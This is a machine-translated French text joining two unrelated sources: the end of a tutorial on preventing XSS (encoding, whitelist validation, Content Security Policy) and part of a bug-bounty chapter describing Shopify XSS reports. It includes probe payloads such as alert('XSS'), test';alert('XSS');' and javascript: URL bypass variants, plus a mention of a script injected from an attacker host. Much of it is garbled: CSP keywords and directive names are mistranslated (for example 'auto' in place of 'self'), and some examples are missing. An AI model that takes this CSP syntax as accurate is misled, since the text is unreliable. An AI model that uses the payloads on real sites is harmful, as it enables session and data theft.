Le dernier contexte déjà mentionné ci-dessus (valeurs en JavaScript) n'est pas inclus dans cette liste car JavaScript ne fournit pas de moyen intégré d'encodage des données qui seront incluses dans code source JavaScript.

Même lors du codage, il est possible d’utiliser des chaînes malveillantes dans certains contextes. Un exemple clair de ceci est lorsque la saisie de l'utilisateur est utilisée pour fournir une URL, comme dans l'exemple ci-dessous :

document.querySelector("a").href = userInput

Bien que spécifier une valeur sur la propriété href d'un élément l'encode automatiquement pour qu'elle ne devienne rien de plus qu'une valeur d'attribut, cela n'empêche pas en soi un attaquant d'insérer une URL commençant par « javascript : ». Lorsqu'un lien est cliqué, quelle que soit sa construction, le JavaScript intégré dans l'URL sera exécuté.

Le codage n’est pas non plus solution efficace lorsque vous souhaitez que les utilisateurs puissent utiliser une partie des codes HTML de la page. Un exemple serait une page de profil utilisateur où l'utilisateur peut utiliser du HTML personnalisé. Si ce HTML brut est codé, la page de profil ne pourra être constituée que de texte brut.

Dans de telles situations, le codage doit être complété par une validation, que nous reviendrons plus tard.

La validation consiste à filtrer les entrées de l'utilisateur afin que toutes les parties malveillantes soient supprimées, sans avoir à supprimer tout le code qu'elles contiennent. L'un des types de validation les plus utilisés dans le développement Web vous permet d'utiliser certains éléments HTML (par exemple, et ) tout en en désactivant d'autres (par exemple, ).

Il existe deux contrôles caractéristiques principaux, qui diffèrent par leurs implémentations :

Stratégie de classification Les entrées utilisateur peuvent être classées à l'aide de listes noires ou de listes blanches.

Stratégie de classification Liste noire Instinctivement, il semble approprié d'effectuer la vérification en définissant un modèle interdit qui ne doit pas apparaître dans la saisie de l'utilisateur. Si une ligne correspond à ce modèle, elle est marquée comme invalide. Par exemple, autorisez les utilisateurs à soumettre des URL personnalisées avec n'importe quel protocole sauf javascript : . Cette stratégie de classification est appelée.

liste noire

Cependant, la liste noire présente deux inconvénients principaux : La difficulté de décrire avec précision l’ensemble de toutes les chaînes malveillantes possibles est généralement une tâche très ardue. L'exemple de politique décrit ci-dessus ne peut pas être mis en œuvre avec succès par recherche simple par la sous-chaîne "javascript", car il manquera une chaîne comme "Javascript:" (où la première lettre de majuscule

) et "javascript:" (où la première lettre est codée comme référence de caractère numérique).

En raison de ces lacunes, l’inscription sur liste noire est fortement déconseillée en tant que stratégie de classification. La mise sur liste blanche est généralement une approche beaucoup plus sûre, que nous décrirons ensuite. Liste blanche Liste blanche est essentiellement à l’opposé d’une liste noire : au lieu de définir un modèle interdit, l’approche liste blanche détermine le modèle autorisé et marque l'entrée comme invalide si elle est

Contrairement aux listes noires, un exemple de liste blanche serait de permettre aux utilisateurs de soumettre des URL personnalisées contenant uniquement les protocoles http : et https :, rien de plus. Cette approche permettrait à une URL d'être automatiquement marquée comme invalide si elle contient le protocole javascript:, même si elle est représentée par « Javascript : » ou « javascript : ».

Par rapport à une liste noire, les listes blanches présentent deux avantages principaux :

Simplicité Décrire avec précision l'ensemble des chaînes inoffensives est généralement beaucoup plus facile que d'identifier l'ensemble de toutes les chaînes malveillantes. Ceci est particulièrement applicable dans les situations générales où la saisie de l'utilisateur doit inclure un ensemble très limité fonctionnalité disponible dans le navigateur. Par exemple, la liste blanche décrite ci-dessus permet très simplement d'utiliser les URL uniquement avec les protocoles HTTP : ou https : autorisés, et dans la plupart des situations, cela est largement suffisant pour les utilisateurs.

Résultat de validation

Lorsque la saisie de l'utilisateur a été marquée comme invalide (interdite), l'une des deux actions suivantes peut être entreprise :

Une entrée rejetée est simplement rejetée, ce qui empêche son utilisation ailleurs sur le site. Lors de la désinfection, toutes les parties invalides des données saisies sont supprimées et les données restantes sont utilisées sur le site Web comme d'habitude. Des deux, la déflexion est l’approche la plus simple à mettre en œuvre. Mais la désinfection est considérée comme plus utile car elle offre un plus large éventail d’interventions à l’utilisateur. Par exemple, si un utilisateur envoie un numéro

Si vous décidez de mettre en œuvre une désinfection, vous devez vous assurer que la procédure de désinfection elle-même n'utilise pas une approche de liste noire. Par exemple, l'URL "Javascript:...", même si elle est identifiée comme non valide à l'aide d'une liste blanche, recevrait une routine de contournement de désinfection qui supprime simplement toutes les instances de "javascript:". Pour cette raison, les bibliothèques et les frameworks bien testés doivent utiliser la désinfection autant que possible.

L'encodage doit être votre première ligne de défense contre les attaques XSS, son objectif est de traiter les données de telle manière que le navigateur ne puisse pas interpréter les entrées de l'utilisateur comme du code. Dans certains cas, le codage doit être complété par une validation. Le codage et la validation doivent être appliqués à trafic sortant car ce n'est qu'alors que vous pourrez savoir dans quel contexte la saisie de l'utilisateur sera appliquée et quel encodage et validation doivent être appliqués.

En tant que deuxième ligne de défense, vous devez appliquer une désinfection des données entrantes ou le rejet des entrées utilisateur clairement invalides, telles que des liens, à l'aide du protocole javascript:. Cela ne peut pas à lui seul fournir une sécurité complète, mais il s'agit d'une précaution utile si un point quelconque de la protection de codage et de validation risque d'échouer en raison d'une exécution incorrecte.

Si ces deux lignes de défense sont utilisées de manière cohérente, votre site sera protégé des attaques XSS. Cependant, en raison de la complexité de la création et de la maintenance d’un site Web, il peut être difficile d’assurer une sécurité complète en utilisant uniquement un traitement sécurisé des entrées des utilisateurs. Comme troisième ligne de défense, vous devez utiliser des politiques de sécurité du contenu ( Anglais Politique de sécurité du contenu), puis CSP, que nous décrirons ci-dessous.

Utiliser uniquement une gestion sécurisée des entrées utilisateur pour se protéger contre les attaques XSS ne suffit pas, car même une seule erreur de sécurité peut compromettre votre site Web. L'adoption de politiques de sécurité du contenu (CSP) issues du nouveau standard Web peut réduire ce risque.

Les CSP sont utilisés pour restreindre l'utilisation d'une page Web par un navigateur afin qu'il ne puisse utiliser que des ressources téléchargées à partir de sources fiables. UN ressources sont des scripts, des feuilles de style, des images ou tout autre type de fichier référencé sur une page. Cela signifie que même si un attaquant parvient à injecter du contenu malveillant dans votre site, le CSP pourra empêcher son exécution.

CSP peut être utilisé pour appliquer les règles suivantes :

Interdire les sources non fiables Les ressources externes ne peuvent être téléchargées qu'à partir d'un ensemble de sources fiables clairement définies.

La désactivation d'eval interdit l'utilisation de la fonction eval en JavaScript. CSP en action Dans l'exemple suivant, l'attaquant a réussi à injecter

Dernier commentaire :

code malveillant

vers la page internet : Avec une politique CSP correctement définie, le navigateur ne peut pas télécharger et exécuter malware-script.js car http://attacker/ n'est pas spécifié comme source fiable. Même si le site n'a pas réussi à traiter de manière fiable les entrées des utilisateurs dans ce cas, les politiques du CSP ont empêché la vulnérabilité de causer des dommages. Même si l'attaquant a injecté du code à l'intérieur du code du script, et non avec un lien vers

, une politique CSP correctement configurée empêchera également l'injection dans le code JavaScript, évitant ainsi toute vulnérabilité et causant tout dommage.

Comment activer CSP ?

Par défaut, les navigateurs n'utilisent pas CSP. Afin d'activer SCP sur votre site Web, les pages doivent contenir un en-tête HTTP supplémentaire : Content‑Security‑Policy. Toute page contenant cet en-tête appliquera les politiques de sécurité lorsqu'elle sera chargée par le navigateur, à condition que le navigateur prenne en charge CSP.

Étant donné que la politique de sécurité est envoyée avec chaque réponse HTTP, il est possible pour le serveur de définir la politique individuellement pour chaque page. La même politique peut être appliquée à l’ensemble du site Web en insérant le même en-tête CSP dans chaque réponse.

Les exemples de titres de cette section utilisent des sauts de ligne et des indentations pour faciliter la référence ; ils ne doivent pas apparaître dans le titre lui-même.

Syntaxe CSP
La syntaxe de l'en-tête CSP est la suivante : Politique de sécurité du contenu :, Politique de sécurité du contenu :, ...;
La syntaxe de l'en-tête CSP est la suivante : ...;
...

directif

• expression-source
• Les expressions source sont des modèles qui décrivent un ou plusieurs serveurs à partir desquels les ressources peuvent être chargées.

Pour chaque directive, les données de l'expression source spécifient quelles sources peuvent être utilisées pour charger des ressources du type correspondant.

Les directives suivantes peuvent être utilisées dans l'en-tête CSP :

• connecter-src
• police-src
• cadre-src
• img-src
• médias-src
• objet‑src
• script-src
• style-src

En plus de cela, la directive spéciale default-src peut être utilisée pour fournir une valeur par défaut pour toutes les directives qui n'étaient pas incluses dans l'en-tête.

La syntaxe de création d'une expression source est la suivante :

protocole:// nom d'hôte : numéro de port

Le nom d'hôte peut commencer par *, ce qui signifie que tout sous-domaine du nom d'hôte fourni sera résolu. De même, le numéro de port peut être représenté par *, ce qui signifie que tous les ports seront autorisés. De plus, le protocole et le numéro de port peuvent être omis. Si aucun protocole n'est spécifié, la stratégie exigera que toutes les ressources soient chargées via HTTPS.

En plus de la syntaxe ci-dessus, l'expression source peut alternativement être l'un des quatre mots-clés ayant une signification particulière (guillemets inclus) :

"aucun" désactive les ressources.

"self" autorise les ressources de l'hôte sur lequel se trouve la page Web.

Syntaxe CSP
"unsafe-eval" active la fonction JavaScript eval .
Veuillez noter que chaque fois que CSP est utilisé, les ressources intégrées et l'évaluation sont automatiquement désactivées par défaut. Utiliser "unsafe-inline" et "unsafe-eval" est la seule façon de les utiliser.
Exemple de politique
script‑src "auto" scripts.example.com ;

media-src "aucun" ;

• img‑src * ;
• default‑src "self" http://*.example.com
• Avec cet exemple de stratégie, la page Web aura les restrictions suivantes :
• Les scripts ne peuvent être téléchargés que depuis l'hébergeur sur lequel se trouve la page web et depuis cette adresse : scripts.example.com.

Les fichiers image peuvent être téléchargés à partir de n’importe quelle adresse. différents navigateurs. Par exemple, l'utilisation de l'en-tête HTTP peut différer selon les navigateurs. Avant d'utiliser CSP, consultez la documentation des navigateurs que vous envisagez de prendre en charge.

• Une attaque XSS est une attaque par injection de code rendue possible par un traitement non sécurisé des entrées de l'utilisateur.
• Une attaque XSS réussie permet à l'attaquant d'exécuter du JavaScript malveillant dans le navigateur de la victime.
• Une attaque XSS réussie compromet la sécurité du site Web et de ses utilisateurs.

• Il existe trois principaux types d'attaques XSS :
  • XSS stocké, où les entrées malveillantes proviennent de la base de données du site Web.
  • XSS réfléchi, où l'entrée malveillante provient de la demande de la victime.
  • Attaques XSS dans le DOM, où la vulnérabilité est exploitée dans le code côté client, et non côté serveur.
• Toutes ces attaques sont exécutées différemment, mais ont le même effet en cas de succès.

• Le moyen le plus important de prévenir les attaques XSS consiste à effectuer un traitement d’entrée sécurisé.
  • Le codage doit être effectué chaque fois que la saisie utilisateur est activée sur la page.
  • Dans certains cas, le codage doit être remplacé ou complété par une validation.
  • La gestion sécurisée des entrées doit prendre en compte le contexte de page dans lequel l'entrée utilisateur est insérée.
  • Afin d'empêcher tous les types d'attaques XSS, le traitement sécurisé des entrées doit être effectué à la fois dans le code côté client et côté serveur.
• Les politiques de sécurité du contenu (CSP) fournissent une couche de protection supplémentaire dans le cas où le traitement sécurisé des entrées contient une erreur.

Il convient de noter qu'il existe un croisement dans la terminologie utilisée pour décrire XSS : une attaque XSS dans le DOM peut être soit stockée, soit réfléchie ; Il ne s’agit pas de types d’attaques distincts. Il n’existe pas de terminologie généralement acceptée qui couvre tous les types de XSS sans confusion. Quelle que soit la terminologie utilisée pour décrire XSS, le plus important est de déterminer le type d'attaque, cela est possible si vous savez d'où vient l'entrée malveillante et où se trouve la vulnérabilité.

Le code source de Excès de XSS est disponible sur GitHub.

Excès de XSS a été créé en 2013 dans le cadre du cours Language-Based Security de l'Université de technologie Chalmers.

La traduction en russe a été réalisée par A888R, texte original en Anglais: surplus-xss.com, envoyez ici vos commentaires, suggestions et erreurs de traduction.

Le cross-site scripting, ou Cross site scripting, ou XSS, implique un site qui inclut du code Javascript involontaire, qui à son tour est transmis aux utilisateurs qui exécutent le code dans leurs navigateurs. Un exemple inoffensif de XSS (qui est exactement ce que vous devriez utiliser !) ressemble à ceci :

alerte('XSS');

Cela créera Fonction Javascript alerter et créera une fenêtre simple (et inoffensive) avec les lettres XSS. DANS versions précédentes livre, je vous ai recommandé d'utiliser cet exemple lors de la rédaction de rapports. Jusqu'à ce qu'un pirate informatique extrêmement performant me dise qu'il s'agissait d'un « exemple horrible », expliquant que le destinataire d'un rapport de vulnérabilité pourrait ne pas se rendre compte de la gravité du problème et que, parce que l'exemple était inoffensif, il paierait une petite récompense.

Utilisez donc cet exemple pour détecter une vulnérabilité XSS, mais lors de la rédaction du rapport, réfléchissez au préjudice potentiel que la vulnérabilité pourrait causer et expliquez-le. Je ne veux pas dire par là à l'entreprise ce qu'est XSS, mais plutôt expliquer ce que vous pouvez réaliser en exploitant la vulnérabilité et comment cela pourrait spécifiquement avoir un impact sur leur site.

Il existe trois types différents de XSS dont vous pouvez entendre parler lors de vos recherches et de vos rapports :

• XSS réfléchissant : ces attaques ne sont pas stockées sur le site, ce qui signifie que le XSS est généré et exécuté en une seule requête et réponse.
• XSS stocké : Ces attaques sont stockées sur le site et sont souvent plus dangereuses. Ils sont stockés sur le serveur et exécutés sur des pages « normales » par des utilisateurs sans méfiance.
• Self XSS : ces attaques ne sont pas non plus stockées sur le site et sont généralement utilisées pour inciter une personne à exécuter elle-même XSS. Lorsque vous recherchez des vulnérabilités, vous constaterez que les entreprises ne se soucient souvent pas d'éliminer Self XSS, elles se contentent de les éliminer. se soucient des cas où les dommages causés à leurs utilisateurs peuvent provenir de quelqu'un d'autre qu'eux-mêmes, comme c'est le cas avec les XSS réfléchissants et stockés. Cependant, cela ne signifie pas que vous ne devez pas rechercher Self XSS.

Si vous trouvez une situation dans laquelle Self XSS peut être exécuté mais pas enregistré, réfléchissez à la façon dont cette vulnérabilité pourrait être exploitée, pouvez-vous l'utiliser en combinaison avec quelque chose pour qu'il ne s'agisse plus de Self XSS ?

L'un des exemples les plus célèbres d'utilisation de XSS est MySpace Samy Work de Samy Kamkar. En octobre 2005, Sami a exploité une vulnérabilité XSS stockée dans MySpace, qui lui a permis de télécharger du code Javascript qui était exécuté chaque fois que quelqu'un visitait sa page MySpace, ajoutant ainsi le visiteur de la page comme ami du profil de Sami. De plus, le code s'est également copié sur les pages des nouveaux amis de Samy afin que les profils de ses nouveaux amis soient mis à jour avec le texte suivant : « mais surtout, Samy est mon héros ».

Bien que l'exemple de Sami soit relativement inoffensif, l'utilisation de XSS permet de voler des identifiants, des mots de passe, des informations bancaires, etc. Malgré les dommages potentiels, la correction des vulnérabilités XSS n'est généralement pas difficile et nécessite que les développeurs échappent simplement aux entrées de l'utilisateur (tout comme l'injection HTML) lors du rendu. Cependant, certains sites suppriment également les caractères potentiellement malveillants lorsque le pirate informatique les envoie.

Difficulté : Faible
URL : grossiste.shopify.com
Lien du rapport : https://hackerone.com/reports/10629326 Date du rapport : 21 décembre 2015
Récompense payée : 500 $
Description:

Le site de vente Shopify27 est une page simple avec un appel direct à l'action : entrez le nom du produit et cliquez sur « Rechercher des produits ». Voici une capture d'écran :

La vulnérabilité XSS ici était la plus simple que vous puissiez trouver : le texte saisi dans la barre de recherche n'était pas échappé, donc tout Javascript saisi était exécuté. Voici le texte envoyé à partir de la description de la vulnérabilité : test';alert('XSS');'

La raison pour laquelle cela a fonctionné est que Shopify a pris en compte les entrées de l'utilisateur, a exécuté la requête de recherche et, s'il n'y avait aucun résultat, a imprimé un message indiquant qu'il n'y avait aucun résultat de recherche pour le terme de recherche saisi, affichant l'entrée de l'utilisateur non échappée sur la page. En conséquence, le Javascript soumis a été rendu sur la page et les navigateurs l'ont interprété comme du Javascript exécutable.

Testez tout, en accordant une attention particulière aux situations dans lesquelles le texte saisi est rendu sur la page. Vérifiez si vous pouvez inclure du HTML ou du Javascript dans votre entrée et voyez comment le site les traite. Essayez également d'encoder l'entrée comme décrit dans le chapitre sur les injections HTML.

Les vulnérabilités XSS ne doivent pas nécessairement être complexes ou déroutantes. Cette vulnérabilité était la plus simple imaginable : un simple champ de saisie de texte qui ne traite pas la saisie de l'utilisateur. Et il a été découvert le 21 décembre 2015 et a rapporté 500 $ au pirate informatique ! Il suffisait d’une réflexion de hacker.

Difficulté : Faible
URL : hardware.shopify.com/cart
Lien du rapport : https://hackerone.com/reports/9508928 Date du rapport : 21 octobre 2015
Récompense payée : 500 $
Description:

Le site Web du magasin de cartes-cadeaux Shopify29 permet aux utilisateurs de créer leurs propres modèles de cartes-cadeaux à l'aide d'un formulaire HTML qui comprend une zone de téléchargement de fichier, quelques lignes de saisie de texte pour plus de détails, etc. Voici une capture d'écran :

La vulnérabilité XSS ici a été déclenchée lorsque Javascript a été saisi dans le champ du formulaire destiné au titre de l'image. C'est assez simple à faire en utilisant des proxys HTML, dont nous parlerons plus tard dans le chapitre « Outils ». Ainsi, le formulaire original de soumission comprenait :

Il y a deux choses à noter ici qui aideront à détecter les vulnérabilités XSS :

En fait, chaque fois que vous voyez une validation en direct s’exécuter dans votre navigateur, cela devrait être un signal d’alarme pour tester ce champ ! Les développeurs peuvent commettre des erreurs en ne validant pas les valeurs soumises pour le code malveillant sur le serveur, car ils espèrent que la validation Javascript du navigateur a déjà effectué la vérification.